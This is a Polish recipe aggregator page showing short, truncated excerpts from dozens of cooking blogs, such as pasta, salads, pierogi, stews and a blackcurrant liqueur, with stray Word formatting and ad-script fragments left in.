gotowania na parze. Wstawiłem wkładkę z roladami do garnka z wrzącą wodą, garnek szczelnie przykryłem, roladki gotowałem na parze 10 minut. Pokroiłem na plastry i podałem razem z sosem paprykowym

R'n'G Kitchen
Fusilli z pomidorami i mięsem mielonym 198

mielone ,które rozdrabniamy widelcem (cały czas mieszamy). Zalewamy bulionem i chwilę dusimy. Doprawiamy solą oraz pieprzem. Dodajemy pomidory wraz z zalewą ,kostkę ziołową. Całość dusimy jeszcze 15 min. Do sosu wrzucamy makaron wraz   z wodą ,cały czas mieszamy (ok. 5 min). Danie rozkładamy na talerze ,posypujemy posiekaną ,świeżą bazylią i startym parmezanem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy

R'n'G Kitchen
Wołowina w sosie z tuńczyka 193

razem z osączonym tuńczykiem ,sokiem z cytryny ,kaparami ,miksujemy. Następnie dodajemy majonez ,dokładnie mieszamy ,doprawiamy do smaku solą i pieprzem. Przed podaniem mięso kroimy na plastry ,podajemy z przygotowanym sosem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Sałatka drobiowa z tzatziki 110298

piórka ,sparzamy ,odsączamy i studzimy. Kukurydzę osączamy. Cebule obieramy i drobno siekamy. Jajka gotujemy na twardo ,studzimy i kroimy w kostkę. W naczyniu układamy warstwami ,kurczaka ,pory ,kukurydzę ,sos ,posiekaną cebulę i jajka. Wstawiamy do lodówki na godzinę przed podaniem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Gołąbki ziemniaczane 195

Masę dokładnie wyrabiamy. Na każdy liść kładziemy farsz i zawijamy. Przekładamy do brytfanki ,zalewamy szklanką bulionu warzywnego i pieczemy 30 min w temperaturze180°C. Podajemy na ciepło z ulubionym sosem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Szprotki z ryżem do kanapek 176

osączamy. Szprotki osączamy z oliwy ,przekładamy do miski i rozdrabniamy widelcem. Dodajemy ryż. Cebulę szklimy na oliwie ,dodajemy przetarte przez sito pomidory i dusimy na wolnym ogniu. Lekko redukujemy. Sos studzimy ,dodajemy do całości razem z posiekaną natką. Wszystkie składniki mieszamy ,do smaku doprawiamy solą i pieprzem. Wstawiamy do lodówki ,aby się „przegryzło”. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy

R'n'G Kitchen
Makaron capunti z papryką 152

paski papryki ( wcześniej umytych i oczyszczonych ), podsmażyłem, aż zmiękły. Zalałem ¼ szklanki wody wymieszanej z cukrem, skarmelizowałem. Oliwki pokroiłem na ósemki. Dodałem tymianek. Doprawiłem solą i pieprzem. Tak przygotowany sos połączyłem z makaronem, skropiłem oliwą, posypałem startym parmezanem

R'n'G Kitchen
Pieczone szparagi w szynce serrano 150

każdy w połowę plastra szynki i umieszczamy na blaszce. Pozostałą częścią oliwy ,przy pomocy pędzelka silikonowego ,smarujemy owinięte szparagi i oprószamy solą i pieprzem. Zapiekamy 10 min ,podajemy z sosem aioli. st1\:*{behavior:url(#ieooui) } /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent

R'n'G Kitchen
Sałatka z krewetek po prowansalsku 233

awokado i szparagi rozłożyłem na talerzach. Oliwę pozostałą rozgrzałem na patelni na średnim ogniu. Wrzuciłem krewetki, smażyłem 5 minut, aż stały się miękkie. Krewetki ułożyłem na wierzchu sałatki , skropiłem sosem z oliwy i soku z cytryny. Oprószyłem solą i pieprzem

R'n'G Kitchen
Grillowane krewetki 164

solimy. Nadziewamy po kilka sztuk na patyczki do szaszłyków. Następnie grillujemy je przez kilka minut (najlepiej na tackach aluminiowych ,żeby się nie spaliły). Przekładamy na talerze ,polewamy wcześniej przygotowanym sosem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Kurczak duszony na pieczarkach 173

Kolejny sprawdzony "babciny" przepis. Mięso rozpływa się w ustach ,sos jest wyborny. Czegóż więcej oczekiwać? Składniki 1 kg podudzi z kurczaka 400 g pieczarek 1 cebula 60 g masła 250 g śmietany 18% 20 g mąki natka pietruszki mielona papryka sól Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 W rondlu rozpuszczamy masło ,dodajemy posiekaną cebulę ,smażymy ,cały czas

R'n'G Kitchen
Szwajcarska sałatka ziemniaczana 361

polałem gorącym bulionem. Odstawiłem do przestygnięcia, a potem odsączyłem. Ocet przyprawiłem solą, pieprzem i cukrem, utarłem z olejem. Do ziemniaków dodałem kiełbasę, cebule, ogórki i ser, delikatnie wymieszałem. Polałem sosem, odstawiłem na 20 minut. Posypałem natką i prażoną cebulką

R'n'G Kitchen
Polędwiczka wieprzowa z sosem grzybowym 170

paski grzyby ,oprószamy solą. Następnie zalewamy śmietanką ,dusimy na wolnym ogniu. Do smaku doprawiamy solą i pieprzem. Przygotowane polędwiczki grillujemy z każdej strony na ruszcie. Na talerz wylewamy sos ,na nią kładziemy grillowaną polędwiczkę. Podajemy z ziemniakami i surówką. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow

R'n'G Kitchen
Makaron tagliatelle z mulami i szpinakiem 209

gotowałem, aż mule się otworzyły ( około 5 minut ). Pozbyłem się tych, które się nie otworzyły. Zdjąłem z ognia i trzymałem w cieple. Ugotowałem makaron. Po odcedzeniu wymieszałem z sosem. Posypałem parmezanem

R'n'G Kitchen
Kluski śląskie 157

Idealne z każdym sosem...prosto i smacznie ,tym charakteryzuje się kuchnia śląska. Składniki 1 kg ziemniaków 250 g mąki ziemniaczanej 1 jajko sól Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 Ziemniaki gotujemy ,robimy z nich puree (najlepiej przepuścić przez maszynkę do mielenia) ,dodajemy mąkę i sól. Ciasto wyrabiamy i studzimy. Następnie wbijamy jajko ,łączymy z masą ziemniaczaną

R'n'G Kitchen
Raki w śmietanie po polsku 146

części pokrojonego koperku.  Gotowałem pod przykryciem ok. 3 minuty. Podlałem winem, krótko gotowałem. Następnie dodałem masło, podlałem śmietaną, wsypałem pozostały koperek, posiekana natkę oraz tartą bułkę. Dusiłem, aż sos zgęstniał. Doprawiłem solą , białym pieprzem , sokiem z cytryny oraz szczyptą cukru. Podałem z białym pieczywem

R'n'G Kitchen
Makaron penne z sosem serowym, brokułem i cukinią 197

rozgrzałem oliwę, dodałem przeciśnięty przez praskę czosnek i podsmażyłem go 2 minuty. Zmniejszyłem ogień, wlałem śmietanę, wrzuciłem pokruszone kawałki sera, zagotowałem cały czas mieszając, aż ser się rozpuścił. Doprawiłem sos gałką muszkatołową, solą i białym pieprzem. Dodałem odcedzone warzywa i ugotowany makaron

R'n'G Kitchen
Sałatka z avocado, z jajkiem i łososiem 222

soku, doprawiłem solą i cukrem do smaku. Jajka obrałem i pokroiłem na kawałki, wymieszałem delikatnie z kawałkami avocado. Łososia wędzonego pokroiłem na cienkie paski i wyłożyłem na sałatkę. Polałem sosem. Podałem z tartym chrzanem

R'n'G Kitchen
Serowe paczuszki z warzywami 216

szynkę pokroiłem w kostkę. Majonez , jogurt i sok z cytryny wymieszałem, doprawiłem solą i pieprzem. Szczypiorek opłukałem, połowę posiekałem, który następnie wraz z ogórkami, pomidorami i szynką dodałem do sosu. Wszystkie składniki wymieszałem. Na plastry sera kładłem po łyżce nadzienia, zwinąłem i zawiązałem szczypiorkiem

R'n'G Kitchen
Pierogi serowo ryżowe z jagodami 185

Zimą tego nie będzie :/ Składniki Ciasto: 500 g mąki jajko szklanka gorącej wody Farsz: 250 g sera białego 1 szkl jagód 1/2 szkl ryżu jaśminowego 15 g cukru waniliowego Sos: 250 ml śmietany 30% 50 ml syropu waniliowego Przygotowanie   Normal 0 21 false false false MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

R'n'G Kitchen
Kluski lane na mleku 245

Dzisiaj ja robię je swoim dzieciom i mam nadzieję, że kiedyś też tak będą wspominać. Są potrawy, które są miłym wspomnieniem np knedle ze śliwkami mojej babci czy wspaniałe sosy do mięs, które robił mój tato. Zupa jest mało fotogeniczna i nie wygląda rewelacyjnie, ale jej smak wynagradza, a może ktoś z Was będzie też chciał zrobić sobie czy swoim

O kuchni z uczuciem
Naleśniki z serem i szynką 234

każdy naleśnik nałożyć ser, szynkę i złożyć w trójkąt lub zwinąć .  Podsmażyć na patelni lub zapiec w piekarniku do momentu aż ser się rozpuści. Podawać gorące z ulubionym sosem lub ketchupem. naleśniki z serem i szynką

O kuchni z uczuciem
Puree z brukwi z grilowanym tofu marynowanym w soku pomarańczowym 167

gałkę muszkatołową Tofu przekroić i marynować najlepiej całą noc w soku z jednej pomarańczy, przed podaniem dania usmażyć na patelni grillowej. Podawać z żurawiną lub tak jak ja sosem agrestowym. Smacznego! ps. aby danie byłe bardziej efektowne, czyt. puree nie hulało po całym talerzu można je podpiec w piekarniku w temp. 200 C około 20 minut uprzednio wyciskając je szprycą

greenscarf
Śledzie po sułtańsku 231

zeszklić. Dodać rodzynki, sól pieprz, cukier i koncentrat pomidorowy. Przykryć i dusić około 5 minut, aż rodzynki zmiękną. Zdjąć z ognia i przestudzić. Pokrojone śledzie przełozyć do miski, zalać sosem pomidorowo- cebulowym i wymieszać. Odstawić do lodówki najlepiej na 24 godziny. Podawać z ulubionym pieczywem. Smacznego

Gosia gotuje
Crème de cassis, likier z czarnych porzeczek 310

tylko na gwiazdkę. Jest podstawą wielu koktajli ale można też go sobie popijać w czystej postaci ;) Macerowane owoce, pozostałe po produkcji, są znakomitym dodatkiem do ciast, deserów, sałat, sosów ( przepisy ). Polecam :) Czas przygotowania: ok. 2 miesiące Składniki: 1 i 1/2 kg czarnych porzeczek (same owoce bez zielonych kiści), 1 kg brązowego cukru nierafinowanego, 1 i 1/2 l spirytusu

SzczyptaSmaQ
Soja po grecku 175

około 3 minut po czym zalać szklanką wody i dusić do miękkości (około 15 minut pod przykryciem). W tym czasie przygotować „rybę” czyli zrobić mieszankę mleka z sosem sojowym, potrzymać około 10 minut w tej miksturze kotlety sojowe, po czym lekko odcisnąć obtoczyć w bułce tartej u usmażyć na złoto. Gdy warzywa są już dostatecznie miękkie doprawić

greenscarf
Cukinia faszerowana podana z białym ryżem długoziarnistym 222

rozgrzanej oliwie podsmażamy posiekaną cebulę i czosnek (około 8 minut). Następnie dodajemy mięso, całość mieszamy i dalej smażymy kolejne 5 minut. Do mięsa dodajemy poszatkowane pomidory (wlewamy również sos pomidorowy, który był w puszce) i bulion warzywny. Dodajemy cukier, oregano, bazylię, majeranek, pietruszkę, sól i pieprz i dusimy kolejne 4 minuty. Wykonanie: Cukinię myjemy, odcinamy końcówki, przecinamy na pół, wydrążamy

Smak mojego domu
ZIELONO MI CZYLI MAKARON Z BAZYLIOWO-SZPINAKOWYM PESTO 344

Pesto to pyszny, zielony sos w oryginale składający się z bazylii, orzeszków piniowych, oliwy i przypraw. Oczywiście przygotowując je w domu spokojnie możemy odejść od zwyczajowych składników i stosować zamienniki. Zamiast orzeszków pinii np. można użyć orzechów włoskich, migdałów, pestek słonecznika czy dyni. Pesto możemy trzymać w zamkniętym słoiku w lodówce około tygodnia, i na jego bazie przyrządzać wiele pysznych

Walijskie Pichcenie
Falafele 379

odkrywany nową przyprawę, której użyto do przyrządzenia naszego dania. Falafeli spróbowałam też w Falafel Take Away Israeli Style przy ul.Jakuba 21. Tamtejsze kotleciki są ostrzejsze, mniejsze i podane z sosem na bazie soku z cytryny. Bardzo polecam obydwa lokale, jeśli chcecie spróbować nowych smaków w przystępnej cenie :) Dla tych, którzy chcą zmierzyć się z domową (jakże prostą!) produkcją falafelków podaję

Chocolate Muffin Blog
Najlepsze bitki wołowe 245

której pokazywałam już np. zrazy zawijane . Na pewno Wasze Mamy czy Babcie robiły takie i dobrze znacie ten smak. Delikatne, bardzo kruche mięso powinno rozpływać się w ustach a sos ma być aksamitny i zawiesisty. Nie trzeba wymyślnych składników ani wielu przypraw - tutaj w prostocie jest siła. Jeśli macie bardziej poprzerastany kawałek wołowiny możecie zrobić gulasz wołowy z cydrem

Smaczna Pyza
Naleśniki z młodymi warzywami, Kinowa Etykieta 251

Zmiksuj 1 kostkę sera z niebieską pleśnią i ½ dużego jogurtu naturalnego. Posmaruj naleśniki sosem. Następnie przygotuj farsz: podsmaż a później uduś młode warzywa: 2 marchewki, 1/3 kapusty i 2 cebule z zielem angielskim i liściem laurowym. Porządnie dopraw farsz pieprzem, solą, sokiem z cytryny i ziołami (np. oregano, bazylią, lubczykiem) i czym tam jeszcze chcesz. Na każdy naleśnik kładź

Qlinarnie i Qlinarnie
PASTA Z TUŃCZYKA 241

pomysł wykorzystać na przekąskę dla niespodziewanych gości, np. na krakersy lub małe kromeczki pieczywa tostowego. Wyśmienite i proste w obsłudze.  Składniki:  puszka tuńczyka w sosie własnym 2 jajka ugotowane na twardo  4 ćwiartki ogórka konserwowego  garść szczypiorku  1 gruby plaster czerwonej cebuli  pieprz, sól łyżeczka majonezu  Sposób przygotowania:   Wszystkie

pieprzny smaczek
Letnia salatka makaronowa z zoltymi burakami, bobem i serem kozim 180

koperek. Wszystko dokładnie mieszamy i rozcieramy łyżką . Buraczki myjemy, obieramy ze skórki i kroimy w cieniutkie plasterki. Wkładamy do miski, dodajemy do nich bób i fasolkę. Warzywa zalewamy sosem, mieszamy i odstawiamy na 20-30 minut. W międzyczasie gotujemy makaron, zgodnie z przepisem producenta na opakowaniu. Do warzyw dodajemy ugotowanym makaron. Makaron możemy dodać zimny lub gorący, zależy od tego

Kulinarne przygody Gatity
Rurki z dymką i marchewką 281

dużych oczkach. Wędlinę pokroić w kostkę. W salaterce wymieszać makaron, szynkę, dymkę i marchewkę. Majonez połączyć z jogurtem i twarożkiem, dodać sok z cytryny, wymieszać, doprawić solą i pieprzem. Sos wymieszać z makaronem. Sałatkę podawać schłodzoną. Życzę smacznego. Komentarze oraz lajki mile widziane :) (adsbygoogle = window.adsbygoogle || []).push

Świat Smaku
Rolada schabowa z cukinią 219

naczynia żaroodpornego lub do blachy i pieczemy pod przykryciem 30-40 minut w 180 stopniach. Swoje roladki podałam z ziemniakami, fasolką z dodatkiem masła i bułki tartej oraz z sosem chrzanowo-musztardowym. SMACZNEGO

Czerwona Porzeczka
Placki ziemniaczane zapiekane z fasolką szparagową i serem 214

Dzisiaj mam dla Was łatwy przepis na zapiekane placki ziemniaczane z fasolką szparagową. Możemy je podać z ulubionym sosem. Polecam!!! SKŁADNIKI: 1 kg ziemniaków, 1 jajko, 2 łyżki mąki, 30 dag fasolki szparagowej, 5 plastrów żółtego sera, sól, pieprz, zioła prowansalskie, olej do smażenia. PRZYGOTOWANIE: 1.Ziemniaki obieram i ścieram na tarce o drobnych oczkach. Do startych ziemniaków dodaję jajko, mąkę

Tradycyjna kuchnia Kasi
Młode ziemniaczki z paprykowym kurczakiem i oliwkami 169

wierzchu paski paprykowego kurczaka i czarne oliwki, całość posypujemy posiekaną natką z pietruszki. Jeśli lubicie bardziej ostre potrawy, można dodać oliwę aromatyzowaną chilli.  Do dania można podać sos jogurtowy, najlepiej na bazie gęstego jogurtu greckiego z czosnkiem, a natkę pietruszki zastąpić koperkiem czy innymi ziołami, jakie lubicie

Moja smaczna kuchnia
Preparowana kasza gryczana z truskawkami 169

jest super. Bardzo zdrowa przekąska, albo świetny dodatek do obiadu lub deseru. Parę dni wcześniej podałam ją  jako dodatek do karkówki  ( przepis)  i smakowała rewelacyjnie polana sosem. Teraz propozycja śniadaniowa. Składniki: 1,5 szklanki preparowanej kaszy gryczanej 1 szklanka truskawek 2 łyżki miodu (lub cukru) 200 g jogurtu naturalnego Wykonanie: Truskawki zmiksować dodać miód i wymieszać. Odłożyć

O kuchni z uczuciem
Papryka faszerowana ryżem i mięsem mielonym na grilla 238

podsmażoną cebulką, czosnkiem, pieczarkami i mięsem doprawiając odrobiną soli i pieprzu. W zależności od upodobań całość można przyprawić słodką papryką, suszonym oregano, posiekaną natką pietruszki, lub (moje ulubione) sosem słodko-pikantym. Z papryk odciąć górną część z ogonkiem, tak aby powstała „zatyczka”. Ze środka papryki wyciąć gniazdo nasienne i usunąć wszystkie nasiona. (można sobie pomóc łyżką) Do wydrążonych

Mr. Taste
Kluseczki francuskie. 259

Kluseczki francuskie są bardzo delikatne i nadają się jako danie główne z dowolnym sosem: pomidorowym czy grzybowym oraz jako dodatek do zup. Tak wygląda ciasto z dodatkiem koperku. SKŁADNIKI: 2 jajka 2 dag. masła 6 dag.mąki pszennej sól WYKONANIE: Mąkę przesiać, jajka rozbić, oddzielając białka od żółtek, masło utrzeć z odrobiną soli dodając po jednym żółtku, aż masa będzie

Kuchnia Beaty
Paprykarz Szczeciński De Luxe! 299

minut. Do warzyw dodajemy pomidory z puszki, koncentrat pomidorowy i ziele angielskie. Dusimy na małym ogniu, aż warzywa będą miękkie, a płyn z pomidorów zredukuje się i powstanie gęsty sos. Przyprawiamy solą, pieprzem, słodką i ostrą papryką. Możemy też dodać odrobinę cukru. Do lekko przestudzonych warzyw dodajemy ryż i mięso z ryb. Dokładnie mieszamy i w razie potrzeby przyprawiamy

Smakowity Blog Kulinarny
Zakynthos, w poszukiwaniu smaków świata - część 2 220

Part 2 ! :) RESTAURACJE SWEET REVANGE W tej restauracji próbowałam typowego greckiego jedzenia, czyli Souvlaków. Są to szaszłyki z kurczaka lub wieprzowiny z grilla, podawane najczęściej z cytryną, chlebkami pita, sosem tzatziki i frytkami. Nie ukrywam ze souvlaki ją jednym z moich ulubionych typowo greckich dań. Cena nieco ponad 8 euro, ale danie jest naprawdę duże i moim zdaniem warte swojej

Mój Smak na Życie
Akcja pierogowanie - pierogi orkiszowe z farszem z płatków ryżowych Kupiec 256

chwilę - masa ma być gęsta  Jeśli potrzeba możesz dosłodzić np. syropem z agawy Do pierogów nakładaj około łyżeczkę farszu   Pierogi świetnie się komponują z owocami i owocowym sosem np. z malinową "śmietaną" jaglaną i jagodami. Znowu z malinową "śmietaną" jaglaną

pyszne zdrowości
Sałatka z bobu i suszonych pomidorów 205

cienkie paski i dodać do bobu. W szklance połączyć ocet z musztardą a następnie z oliwą, cały czas energicznie mieszając. Pod koniec dodać miód i zmiażdżony czosnek. Sałatkę polewamy sosem i delikatnie mieszamy

Qchnia po prostu
Cukiniowe placuszki z dodatkiem serem feta 222

smaku, dobrze wszystko mieszamy łącząc ze sobą składniki. Rozgrzewamy olej kładziemy łyżką nieduże placuszki na patelnię, smażymy przez kilka minut na złoty kolor. Podajemy z keczupem lub dowolnym sosem. Smacznego

kgwjanczewo
Smakowe Tortille - zimna przekąska 317

szkoły, pracy czy też na wycieczkę. SEREK TOPIONY MSM MOŃKI Sery topione kremowe smakują świetnie nie tylko na kanapce, ale są również doskonałym dodatkiem do zup i różnego rodzaju sosów. Serki topione dostępne są w opakowaniach 100 g oraz w miniczteropaku  4 x 25 g.  SEREK TOPIONY MSM MOŃKI SERKIEM IDEALNYM? Oczywiście. Serek o wyjątkowo kremowej konsystencji, delikatnym

ClauditteMissCooking
Skrzydełka z nutą imbiru. 204

Sezon grillowania w pełni, więc kolejna odsłona skrzydełek grillowanych. SKŁADNIKI:     10 skrzydełek z kurczaka MARYNATA:     2-3 łyżki sosu sojowego     1 łyżka miodu     2 łyżki soku ze świeżego imbiru lub marynowanego(ja użyłam tego drugiego)     3 ząbki czosnku przeciśniętego przez praskę

Kuchnia Beaty
Współpraca z DeCare - Dystrybutor Smaków Świata 151

możecie przeczytać w tytule, nawiązałam współpracę z marką DeCare .  Jest to sklep, w którym znajdziecie bogaty asortyment produktów z całego świata. Możemy wybierać w nim od konfitur po sosy czy oliwy. Na stronie znajdziecie również przepisy z wykorzystaniem danych towarów. Jest to idealne miejsce dla osób lubiących kuchnię i smaki orientalne :) Powyżej widzicie zawartość paczki, która do mnie dotarła

My simple kitchen
Lodowy tort semifreddo czekoladowo-śmietankowy (bez jajek) 429

zmiękło i dało się łatwo pokroić (najlepiej odkroić tyle, ile akurat potrzebujemy, a resztę przechowywać w zamrażalniku). Udekorować bezami lub wiórkami czekoladowymi, można też polać ulubionym likierem lub sosem czekoladowym

Domowa Cookierenka Agi
Letnia sałatka z młodej kapusty 189

pół godziny aby zmiękła. Do kapusty dodać startą na tarce marchew (na dużych oczkach) oraz poszatkowany koper. Majonez połączyć z jogurtem, musztardą, sokiem z cytryny i czosnkiem. Sałatkę zalać sosem i doprawić do smaku solą i pieprzem

Qchnia po prostu
Tajska sałatka krabowa 381

Prosta, pyszna sałatka idealna na lunch do pracy. Miks warzyw, paluszki krabowe (surimi) i sos. Przygotujecie ją bez problemu rano przed wyjściem do pracy a dostarczy sporo wartości odżywczych

Milion Smaków
Pierś z kurczaka w delikatnym sosie 220

Delikatne mięsko w sosie śmietanowym z dodatkiem miodu. Pyszne, łatwe i mało pracochłonne danie, w sam raz do ziemniaków, ryżu lub pieczywa. 1 podwójna pierś z kurczaka 400 g gęstej śmietany 18% (używam z Piątnicy) kilka łyżek oleju 1 łyżeczka musztardy sarepskiej 2 łyżeczki miodu naturalnego wegeta, pieprz czarny mielony Umyte mięso pociąć na paski, chwilę podsmażyć na rozgrzanym oleju

Praktyczna pl
Letni obiad wegetariański I, Niezauważone perły 285

Obiad z cyklu: smacznie, sezonowo i niedrogo. Na zdjęciu: kasza gryczana, kotlety sojowe kebab-gyros , ziemniaki z koperkiem, sos tzatziki i surówka z zielonej sałaty, pomidorów i oleju lnianego. Smacznego! Źródło Cykl filmowy Niezauważone perły w Zorzy Rzeszowskie kino Zorza zaprezentuje po raz drugi cykl filmowy Niezauważone perły . Projekcje w każdy poniedziałek lipca i sierpnia o 19.00. Wstęp tylko

Qlinarnie i Qlinarnie
Szybka surówka z kapusty i kukurydzy 266

Młoda kapusta idealnie nadaje się do pysznych surówek. Tym razem w towarzystwie kukurydzy, oliwek i sosu jogurtowego. Składniki: główka młodej kapusty 2 garście oliwek zielonych puszka kukurydzy mały kubek jogurtu naturalnego łyżeczka musztardy sól Przygotowanie Kapustę obieramy z wierzchnich liści. Dzielimy na ćwiartki i drobno szatkujemy. Przekładamy do miski i solimy. Kapustę z solą ugniatamy rękami. Odstawiamy na 10 minut

e-PrzepisyKulinarne
Proste i szybkie naleśniki na słodko 178

Składniki miksuję do uzyskania gęstej masy. Trzeba uważać by nie ubijać za długo, gdyż z kremówki zrobi się masło. Można ubić też samą śmietankę :) Ja swoje naleśniki polałam jeszcze sosem czekoladowym. Zjadłam dwa i już nic więcej do pełni szczęścia mi nie było potrzebne.:)   *Ilość mąki zależy też od jej typu i ilości płynu   ** użyłam cukru z ziarenkami

apetytnapieczenie
Spaghetti z szynką parmeńską i szpinakiem 176

Jeden z najszybszych makaronów jakie zrobiłam – całe przygotowanie trwa maksymalnie 20 minut. W czasie gotowania makaronu, przygotowałam sos, a na koniec wszystko wymieszałam. Idealny obiad, gdy za oknem panuje upał.     Składniki /3-4 porcje/: 4 plasterki szynki parmeńskiej 3/4 opakowania makaronu spaghetti 4 suszone pomidory z zalewy 2 ząbki czosnku 1/2 białej cebuli garść szpinaku 2 łyżki śmietany

Pasja Smaku
Kluski kładzione z jagodami 211

zanurzając łyżkę we wodzie. Kluseczki gotuję 5 minut i odcedzam. W rondelku rozpuszczam masło. Dodaję jagody, wsypuję cukier i chwilę duszę cały czas mieszając. Kluski wykładam na talerz, polewam sosem jagodowym

Tradycyjna kuchnia Kasi
Odchudzone ciasto z pomarańczowo dyniowym musem pod serową kołderką 222

częścią wykorzystywaną przez moją mamę, były pestki. Ja, jak zwykle ciekawa nowych smaków, w minionym roku robiłam z dyni różne cudeńka, a to placki, a to zupę, a to sos do makaronu i oczywiście ciasto. W tym roku ma miejsce ciąg dalszy moich eksperymentów dyniowych i jednym z nich, swoją droga moim nieskromnym zdaniem bardzo udanym, pragnę się dziś

Cynamonowe szczęście
Spaghetti bolognese 233

zimną wodą w durszlaku. Do gotowego mięsa dodajemy przecier, koncentrat i pomidory. Wszystko mieszamy i doprawiamy do smaku papryką w proszku, ziołem prowansalskim i opcjonalnie solą i pieprzem. Sos mieszamy z makaronem i chwilę razem podgrzewamy. Gotowe danie posypujemy poszarpanymi listkami bazylii i parmezanem. Bon Appetit :) Qchnia  p o  prostu Qchnia  p o  prostu Qchnia

Qchnia po prostu
Kotlety rybne (nie tylko dla dzieci) 1954

moim przypadku nie było to konieczne). Z masy lepimy kotleciki, które obtaczamy w bułce tartej. Kotleciki smażymy na oleju na złoty kolor. Ja uwielbiam takie kotleciki jedynie ze słodkim sosem chili... ale to już rzecz gustu. Smacznego

IMPRESJA SMAKU
Młode ziemniaczki z paprykowym kurczakiem i oliwkami 196

wierzchu paski paprykowego kurczaka i czarne oliwki, całość posypujemy posiekaną natką z pietruszki. Jeśli lubicie bardziej ostre potrawy, można dodać oliwę aromatyzowaną chilli.  Do dania można podać sos jogurtowy, najlepiej na bazie gęstego jogurtu greckiego z czosnkiem, a natkę pietruszki zastąpić koperkiem czy innymi ziołami, jakie lubicie

Moja smaczna kuchnia
Przepisy konkursowe- głosowanie ! 210

jabłek z bitą śmietaną 12. Jabłuszka pod pierzynką 13. Kluski śląskie 14. Kokosanki 15. Kompot z rabarbaru 16. Kotlety mielone z kapustą 17. Makaron z jajkiem 18. Makaron z sosem 19. Mazurskie Farszynki 20. Mielone z ryżem, marchewką i groszkiem 21. Polędwiczki wieprzowe z cebulką 22. Ryż z jabłkami 23. Smak z dzieciństwa czyli "Gołąbki z grzybami" 24. Torcik Wuzetka

Tradycyjna Kuchnia
Pasta z tuńczyka 188

Jeśli szukacie pomysłu na szybką pastę do chleba... biegnę Wam z pomocą;)  Składniki; puszka tuńczyka w wodzie lub sosie własnym, 2 lub 2 ½ łyżki majonezu, seler naciowy, 1 cebula czerwona, sol pieprz, trochę soku z cytryny Wykonanie; Odciskamy tuńczyka na sitku, bardzo mocno, dodajemy posiekany seler, cebule w drobną kosteczkę. Następnie dodajemy majonez, sok z cytryny i doprawiamy solą

Anioły w kuchni
serowe knedle z truskawkami i musem truskawkowym 271

Morela z Wanilią 1 jajko 3 łyżki mąki pszennej + trochę do podsypania 2 łyżki mąki ziemniaczanej 1 łyżka soli do gotowania knedli mus: truskawki, cukier puder, ocet balsamiczny na sos Truskawki płuczemy na durszlaku, osuszamy i usuwamy szypułki. Serek przekładamy do misy robota, dodajemy całe jajko i miksujemy. Wsypujemy mąkę pszenną i mąkę ziemniaczaną, dokładnie wyrabiamy hakiem robota lub ręką

Damsko-męskie spojrzenie na kuchnię
Letnia klasyka obiadowa, Europejski Stadion Kultury 246

Miejskim. Poza muzyką, festiwal oferuje wydarzenia związane z fotografią, tańcem, teatrem i literaturą (informacje zaczerpnięte z ulotki festiwalowej).  Bakłażan nadziewany pastą z papryki i orzechów (baaardzo pikantny), z sosami: pomidorowym i różowym (jogurt naturalny i marynowane buraki) Moje odkrycie:  Dakh Daughters Band . Siedem kobiet grających na 15 instrumentach. Tworzą etiudy we własnym stylu zwanym  freak cabaret

Qlinarnie i Qlinarnie
Słodkie środy - Kasza manna z pieczonymi truskawkami i migdałami 160

szypułkujemy, kroimy w ćwiartki i wkładamy do wysokiego naczynia lub garnka do zapiekania, zasypujemy cukrem - wstawiamy na 20 minut do nagrzanego do 180 stopnie piekarnika. Upieczone truskawki wraz z sosem przekładamy porcjami na kaszę, posypujemy płatkami migdałowymi

Kulinarny Świat Konczi i Szpileczki
Kurczak a’la KFC 440

lepszego niż domowy fast food. Skrzydełka w smaku przypominają te ze słynnego KFC. Polecam z sosem czosnkowym lub majonezowym i frytkami. 1 kg skrzydełek Przyprawa do pikantnego kurczaka Skworcu  (tu kupisz) 1 łyżeczka ostrej papryki Ciasto: 0,5 szklanki mleka 0,5 szklanki mąki pszennej 1 łyżeczka ostrej papryki 1 jajko Do panierowania i smażenia: Mąka pszenna

VioletoweKucharzenie
Sałatka z paprykowym kurczakiem i kuskusem 224

obiad zjadłabym jeszcze raz, drugi i trzeci. Możecie zjeść w takiej postaci jak na zdjęciach, ale równie smacznie będzie jeśli "zapakujecie" całość w tortillę czy chlebek naan, do tego sos jogurtowy, cudownie smacznie. Teraz kiedy piszę ten post sałatki już nie ma, pozostało mi tylko patrzeć na zdjęcia ;) Zobaczcie także: surówki & sałatki nie tylko z kuskusem kasze & ryże

Moja smaczna kuchnia
Mule w białym winie 294

małży szczypiec lub łyżeczki, którą wyjmuje się pozostałe sztuki. Małże można wyjmować z muszli także widelcem. Skorupki są oczywiście niejadalne – zjada się tylko środek. Pamiętajcie, że rarytasem jest sos jaki wytworzył się z małży i wina – aby wykorzystać cały, warto maczać w nim świeżą bagietkę lub grzankę. Można też nabierać bulion skorupką i wypijać. Post Mule w białym

Poezja smaku
Cynaderki w sosie cebulowym 238

jagodzianka" No i stało się! Na blogu pojawiają się kolejne podroby. Tym razem są to cynaderki, czyli wieprzowe nerki. To potrawa … Przeczytaj cały artykuł Post Cynaderki w sosie cebulowym pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
pieczone pierogi ze szpinakiem 260

